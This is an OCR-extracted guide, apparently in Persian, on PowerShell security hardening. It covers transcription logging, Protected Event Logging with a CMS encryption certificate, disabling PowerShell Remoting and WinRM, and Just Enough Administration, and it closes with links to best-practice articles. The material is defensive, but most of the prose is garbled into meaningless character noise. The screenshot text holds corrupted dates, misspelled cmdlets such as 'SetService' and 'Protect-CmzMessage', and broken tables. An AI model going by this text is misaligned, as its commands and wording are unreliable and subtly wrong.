sloools b ol jo 5l (slimme i o 5l LlS aseus 3, ool ,o :FUll Transcription Logging e

50 aS Sl S a3 06h 0 0,50 ol Gl bl j0 sl 2 g 00l (g 10 pSY ol 9 5 (599,9

5 slaiged Wigdise 033 lahl po s5d o b Lapsl isamy Jlney o a5 azl L g, ol
NG IPWPRIRY u“'.’.l""’ Yy JS..; T Q.J EVRER W o).:.">$ Sl
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B R e e i Sl " S SR e i S EWiﬂdDWSPDWErShE”
Command start time: 20221023123150

i b R e e o S e

PS C:iw> get—date
2022-18-23 12:31:5%58 PHM

=] PowerShell_transcript. DESKTOP-FK34BR6. L8Z+fzcj. 20221023122919 1t E3 |

244 > ParameterBinding (Cut-String): name="InputChject"; v
24 Cannot i1nvoke method. Method invocation 1s supported o
2 At C:\Program Files\WindowsPowsrShell\Modules\PSRsadli
2 + [Microsoft.PowerShell.PSConsoleReadLine] @ :ReadlLl
248 + e P e P e P i P P P i e P e o P i e P e i e P P i e P e i P e i e e e e e P
249 + CategoryInfo : InvalidOperation: (=) []
250 + FullyCualifiedErrorId : MethodInvocationNotSuppo
251 Cannot invoke method. Method invocation is supported o
252 At C:\Program Files\WindowsPowsrShell\Modules\PSReadli
2 + [Microsoft.PowerShell.PSConsoleReadLine] @ :ReadLl
2 + e P o P 3 o i e e T e P P Pt i ot o e o e e e T e e T T P ot o T e e e e e P P P o i e e
2 + CategoryInfo : Invalidoperation: (:) []
2 + FullyCQualifiedErrorId : MethodInvocationNotSuppo

PS C:\> get—date

2022/10/23 12:31:50 DM PS Cing

e ke e dke ke ke ke e e e e e ke ke e e ke e e ke ke ke

Windows PowerShell transcript start
£7 Start time: 20221023123150

[ T o T o T e N e Y o I

Full Transcription Logging .YV s

Application and Services Logs > ,uw )5 j30005 Event Viewer 5 ,b 5l o g, cpl 4 ool 0 pd sl SY
b a5 cnl 5L SY (5,5l ae il (il Jled sl Wigh o 0,33 Microsoft > windows > PowerShell

: oty g

g 3L Group Policy Editor b sgi o)l «gpedit.mse» jgiws Jo,b b leyd s o )

Computer Configuration > Administrative Templates > Windows Components > o a .V

Do x>l 0 Windows PowerShell

Enabled 64.».05 9 &JS )lgjé CAM.:‘) Couw 0,200 o ‘_;)Ls).uf}/ 6‘).\ 055 ).’a.: Sy90 6L§>w5) K9y » Y
Transcript Output ;)L 5,k I cawl o PowerShell Transcription g, ;o .0ed ol
5 oad [zl ulas Sledbl Ll ol a5 canlazgi BB oS asin |, SY (50,055 ouwe Directory

Sl 5 shite e 058 xSl O 4 Oln)lS (e is 5 il (nlpl 09 o0 Jols 1, PowerShiell
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Ca€gama p) ;0 (puw Ogd ol Properties gauiS g 00,5 Canl, SIS Gl 0,00 L (g9, a5

3,5 Sgazme yweodl a4y aad ) LB 4y owws Security>AdvancedSecurity > Permissions

=] Local Group Policy Editor - O X
Eile Action View Help
e 2@z HE| Y
_1 Windows Mobility Center A || Setting State Comment
“' a'::z:z ;:;;::::‘EILnaI & iz Turn on Module Logging Enabled No
‘ W! d e t:ﬂ Y £ Wi |iz| Turn on PowerShell Script Block Logging Enabled No
TI W:: dZ:vv: R::Zt: Shaer:lagemen e 1z Turn on Script Execution Not configured No
!_3 Windouws Sacurly |iz] Turn on PowerShell Transcription Enabled No
= Windows Update |iz| Set the default source path for Update-Help Mot configured No
‘ LY R X o o .
= 2 \ctetended)), Seinddd /

5 setting(s)

Fyaly 30 SY (59l @o 5l Jlad YA Ui

bbb g bSY K., V-Y-)
SY 5l cdasle glp cudy opl @ il ool Sledbl gyl ol (Koo 55 lawgs oo 0,33 slaSY
1 390 b sloools 10,5 5oy (Gl YoV 90w j90ig 9 V¢ 90y ,o Protected Event Logging S

é}wu;o bLo& ) J-Q.’J‘)BMQ ‘j».b 3y Lg)li)).n) G)LMJJM ‘5“)) ] 00 L_;Q).:.A LQEVent |Og
- Joadl g

29 3L Group Policy Editor b sgi 5 )lg «gpeditmsey jgiws o Ji,0b b yleyd s o0 )

Computer Configuration > Administrative Templates > Windows Components o4 .Y

S¢d a2>! 0 > Event Logging

3O s g 03,5 S JLgs Enable Protect Event (ogging san ¥ (55, Canl) o g0y o Y

Ded ol Enabled gan 5 oals ools yioled (g0,

SMbl L yoes Certificate ool (6,505 (glgize ool ools Lioled iy )0 o)y (ol Ceond o F

ol oold ioled YA USS jo Sledbl (pl 5l slaigas 058 5)lg o2l Thumbprin L Subject wils
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21 App runtime

] Application Compatibility
-] AutoPlay Policies

] Biometrics

= BitLocker Drive Encryption
| Camera

] Cloud Content

] Connect

] Credential User Interface
| Data Collection and Preview Builds
(] Delivery Optimization

| Desktop Gadgets

(] Desktop Window Manager
| Device and Driver Compatibility
] Device Registration

] Digital Locker

. EdgeUl

] Event Forwarding

] Event Log Service

. Event Logging

[ Event Viewer

. File Explorer

[ File History

] Find My Device

1 Handwriting

. HomeGroup

1 Internet Explorer

[ Internet Information Services
] Location and Sensors

. Maintenance Scheduler
2 Maps

_ MDM

v v

v [ v

v

v

Group Policy Management Editor - a X
File Action View Help
e 2@ = BE T A
> [ System Settinglh State Comment
v [ Windows Components [ Enable Protected Event Logging Enabled No
) ActiveX Installer Service
] Add features to Windows 10 & Enable Protected Event Logging [m}
| App Package Deployment
] App Privacy E Enable Protected Event Logging Erevious Setting | | Hext Setting

O Not Configured Comment:
® Enabled

O Disabled

Supported on: [ at least Windows Server 2016, Windows 10

Options:

Help:

= TTIE TUIT PaurT (0@ CEruTICate (CarT DE TOtar, Or &
remote share)

- The path to a directory containing a certificate
or certificates (can be local, or a remote share)

- The subject name of a certificate that can be
found in the Local Machine certificate store (usually
deployed by PKI infrastructure)

~

The resulting certificate must have 'Document
Encryption' as an enhanced key usage
(1.3.6.1.4.1.311.80.1), as well as either Data
Encipherrgent or Key Encipherment key usages
enabled.

This policy setting lets you configure Protected Event Logging

If you enable this policy setting, components that support it w
use the certificate you supply te encrypt potentially sensitive
event log data before writing it to the event log, Data will be
encrypted using the Cryptographic Message Syntax (CMS)
standard and the public key you provide. You can use the
Unprotect-CmsMessage PowerShell cmdlet to decrypt these
encrypted messages, provided that you have access to the
private key corresponding to the public key that they were
encrypted with.

If you disable or do not configure this policy setting,
will not encrypt event log messages before writi

----- BEGIN CERTIFICATE----- ~
MIIF7zC CBNegAwIBAGITLGAAALyCGMXOFIil
ADBVMRUWEWYKCZImiZPyLGQBGRYFbGIjYV
h 2y H MG AwHaVIVOONEvAaWSKh dz e Y
< >

them to the event log.
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Event Viewer
File Action View Help

e 2@ HE

OfflineFiles

OneBackup

OneX

O0BE-Machine-DUI
OtpCredentialProvider
PackageStateRoaming
ParentalControls

Partition

PerceptionRuntime
PerceptionSensorDataService
PersistentMemory-Nvdimm
PersistentMemory-PmemDisk
PersistentMemory-ScmBus
Policy-based QoS

PowerShell

] Admin

-] Operational
PowerShell-DesiredStateConfigur:
PrimaryNetworklcon

PrintBRM

PrintService
PriResources-Deployment
Program-Compatibility-Assistant
Provisioning-Diagnostics-Provide:
Proximity-Commen

8 2 s

Cvvwv v

rlryriririryryrjr]rieie

> PushNotifications-Platform [ [ END CMS-----
> Rdms-Ul .
ScriptBlock ID: 8aa8c2c1-8ebd-42dd-84b1-eb88442017f8
> ReadyBoost Path:
PaackBanctDrivar '

Operational Number of events: 508

Level Date and Time Source EventID Task Category ]
oVerbose 10/22/2019 6:58:12 PM PowerShell (Mi... 4104 Execute a Rem...
OVerbose 10/22/2019 6:58:12 PM PowerShell (Mi... 4104  Execute a Rem...

© verbose 10/22/2019 6:58:01 PM PowerShell (Mi... 4104  Execute a Rem...
OVerbuse 10/22/2019 6:58:01 PM PowerShell (Mi... 4104 Execute a Rem...
OVerbose 10/22/2019 6:57:58 PM PowerShell (Mi... 4104  Execute a Rem...

@ verbose 10/22/2019 6:57:58 PM PowerShell (Mi.. 4104 Execute a Rem...

0 Verbose 10/22/2019 6:55:07 PM PowerShell (Mi... 4104 Execute a Rem...
OVerbuse 10/22/2019 6:55:07 PM PowerShell (Mi... 4104 Execute aRem.. w
Event 4104, PowerShell (Microsoft-Windows-PowerShell) x

General Details

Creating Scriptblock text (1 of 1):

----- BEGIN CMS-----
MIIB4AYJKoZIhveNAQcDolIBOTCCAcOCAQAxggGIMIIBhAIBADBsMFUXFTATBgoJkialk/IsZAEZ
FgVsb2NhbDEaMBgGCgmSlomT8ixk ARKWCndpbmRvd3NwemBxDAeBgNVBAMTF3dpbmRvd3Nwem8t
VIMyMDEyLURDLUNBAhMuAAAAKIYxc4UIKUAAAAAACSMAOGCSqGSIb3DQEBBZAABIIBAIzEGu4x
HI/Y7c9CqmmCCCTduwlifBiHIazTnOhmPL+JpT 1JRKdTdlqqPeORO7FwveYc+yunEFVZ5H/NXrS
INTezMzFQIC9xqfo69LHuF gBybRTW2c6aWS5EMXg13XESTIbpj3epy | WSYGKBH12kNdJiq9ys
WI5Qklyi/BgZ cODLXIGio2KyGdFadNUED1XwIMLW2ziOr94pt+ W29C m/stGp2YOubQKbSerkaZ
¢S8LFolEyuvWIVR1sfgxkdhpn3XAEDHSsB/+ YhG3XNDDEgVIzcY89Vd24janOvsx8olSz+ Ljddia
CAiYFbcbyH+MhPRWOZSRUGENT2VynlwPAYIKoZIhveNAQcBMBOGCWC GSAFIAWQBKgQQj0Fu7gy8
dodZDS0j19Cdq4AQpaiNdBAWqjjrhfMHy6VtA==

X W) 6)1;\5}0) U),nadquﬂ G)J}é A J&w

Sygo 5 Jlie glp 0gh oo oolitwl Ji,0L 0 "Unprotect-CmsMessage” [giws 5l b SY LLiSie, slp

Slox1s 1, T Get- WinEvent b ol ) jgws 5l eolitwl b o)lgs o PowerShell SY o 31 SliSie, 4 5L

o il 1) I8 cpl all (gosms YV S 05 oliShe, " Unprotect-CmsMessage” [5iws b pw g 03,5

REV-o)

B Windows PowerShell ISE
fle fdt Yiew Jools
S a »

Untitled3.ps1* X

Redug  Add-ons

Belp

e 0 Boo e,

1 Smsg = Get-winEvent Microsoft-windows-Powershell/Operational
-ComputerName ws2019-vM1l-L1 -MaxEvents 2 -Credential windowspro\root

$Smsg[1] select -ExpandProperty Message
# Smsg[0] is always "prompt™

2

3

4 "Last log entry as clear text: n
5 Unprotect-CmsMessage
6

PS C:\windows\system32> $msg = Get-WinEvent Microsoft-windows-PowersShell/Operational
-ComputerName ws2019-vMl-L1 -MaxEvents 2 -Credential windowspro\root

"Last log entry as clear text: n"

$msg[1] | select -ExpandProperty Message | Unprotect-CmsMessage
"nromnt"

# Smsal0] is always
Last log entry as clear text:

Unprotect-CmsMessage -Path .\process.enc
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(FYSpY @me).o) Gog YY) sl

gk dlasgy gol s bl 55Kz, V=YY
seews 5l Wsd ce 03 Transcription iy, 4 a5 SLSY LU peasa b bl K, ¢l
ssbte ol 4.l L yaee Certificate G a o bols 6,50, slp 050 o0 oolitwl "Protect-CmsMessage "

o 55wl glz) 51 s 09l 0dss (6 K50, gl e o218 SO L5l 0 5 slejeiws leolannl b sl o3Y
g oo a5l TestCert.cer oL L olsS S

{[Version]
Signature = "$Windows NT$"

[Strings]
szOID_ENHANCED_KEY_USAGE = "2.5.29.37"
szOID_DOCUMENT_ENCRYPTION = "1.3.6.1.4.1.311.80.1"

[NewRequest]

Subject = "cn=CRYPT_CERT"
MachineKeySet = false
KeyLength = 2048

KeySpec = AT_KEYEXCHANGE
HashAlgorithm = Shal
Exportable = true
RequestType = Cert

KeyUsage = "CERT_KEY_ENCIPHERMENT KEY USAGE | CERT_DATA ENCIPHERMENT KEY_ USAGE"
ValidityPeriod = "Years"
ValidityPeriodUnits = "1000"

[Extensions]
%szOID_ENHANCED_KEY USAGE% = "{text}%szOID_DOCUMENT ENCRYPTION%"
} | Out-File -FilePath TestCert.inf

certreq.exe -new crypt.inf crypt.cer

255 oy 1) i 50 095 a3 5550 S BB Glgse ) Hgiws lzl g ead adgs (aleS il eslanal b >

Protect-CmsMessage -To "CRYPT CERT" -Path 'path of file' -OutFile encrypt2.cms
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E:~> {[Versionl
Signature SWindouws

[Strings]
sz01D_ENHANCED_KEY USAGE
sz01D_DOCUMENT _ENGRYPTION

[NewRequest ]

Subject

MachineKeySet false
KeyLength = 2048
KeySpec = AT_KEYEXCHANGE
HashAlgorithm = Shal
Exportahle true
RequestType Cert
Keylsage
UalidityPeriod
UalidityPeriodlnits

[Extensions ]
#»sz0ID_ENHANCED_KEY_USAGEx
* 1 Out-File crypt._inf
E:%\> certreq.exe crypt.inf crypt.cer
Installed Certificate:
Serial Number: 1317d7d5h648668edded?Ba3fa?disetr
Subject: CN=CRYFPFT_CERT
NotBefore: 2022-/18-26 11:54 AH
MotAfter: 3822-18-26 12:84 PH
Thumbprint: 6%a2448982e6c93729a3766f0013e898d368f2eb
Microsoft Strong Cryptographic Provider
BBc4afeal 8h'737352%allcbe?co2h982_5ABaB?00—d9a5—43ce—ah2?—-4bbhd78630h32

CertReq: Certificate Created and Installed
gg E:\? Protect-CmzMessage encrypted.cms

SV 6 535 o, 1T IS

QB.MJLSA solaul E3) )93..,.).) )‘ 0L ) JJ[S L.';’)l"'“f)ﬁ) t.g‘f

Unprotect-CmsMessage -Path .\encrypted.cms

Powershell Remoting ol i ool sotiw!  V-F

@ 590 oy Gygo a4 aSll b )l Jlasl Gl Gl a4 as el Ji sl 5l s Powershell Remoting
5 ULQ‘>L€K° .‘a.wﬁ.: w‘b&oALA‘ Sl 00 M‘Jéwwo‘ loa 6|).s WJJLS U”‘ b;‘ J.J‘Sa r°'°‘)3 ‘) VLN)BLJ
2,550 1,8 solatwl sgw 5,50 e
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powershell a5 el opl 5 ol dogs 0gd oo oolitwl i ,gL o Enable-PSRemoting ,giws 5l colis
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Sgd Ll Loyl o Disable-PSRemoting jsiws .\

G (e S wolR Jotee a5 WINRM (Si90ny (mgre «Jopk 0 25 lajgiws gzl LY

S Jlad e g algte Cunl AUl 84k Sl 98 ol 5l Rl

Stop-Service WinRM -PassThru

SetService WinRM -StartupType Disabled -PassThru

g Ll Lol 5o 5 (sleygims Canslygo s Jlab ot WINRM g s a5 555500 0

dir wsman:\localhost\listener

Remove-Item -Path WSMan:\localhost\listener\<Listener>

iJy0k 50 p5 slejgiws sl Y

Set-NetFirewallRule -DisplayName ‘Windows
Remote Management (HTTP-In)' -Enabled False -PassThru | Select -Property

DisplayName, Profile, Enabled

1) Gy A8 e fog yao 5l liedsl ¥

HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\
System\Local AccountTokenFilterPolicy

Powershell Remoting ys,5 sguxe  V\-f-Y

Sgame Gl oo cuial Yo @ el b gt 0 (5y9,0 LYo 4 powershell Remoting 45 5,50 ;o
Gilwosls 1y sletel JBlos Jol a8 el i j5b cuiel p5lKe 5 Just Enough Administration (JEA) o4
Sl e slagmesl sl Jo)5k sla )5 1 sogume acgazme L 1) (Lol slocunis ol cpl il 03,8
b Joysl Conitd o @ 0l o oI5 a5 aiS o eoliiwl 926 4 Powershell Remoting ;1 JEA oS o
3 s ol @ Jlast gl )5 04 co 0awels JAE eNAPOINt coiis ol oS 1,35 bl sgame slacaLls

QS e oolitwl Enter-PSSession i jsb jgiws
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e https://www.reliaguest.com/blog/powershell-security-best-practices/

e https://www.calcomsoftware.com/defend-against-powershell-attacks/
e https://www.calcomsoftware.com/basic-steps-for-powershell-attacks-prevention/
e https://www.scriptrunner.com/en/blog/powershell-security-best-practices
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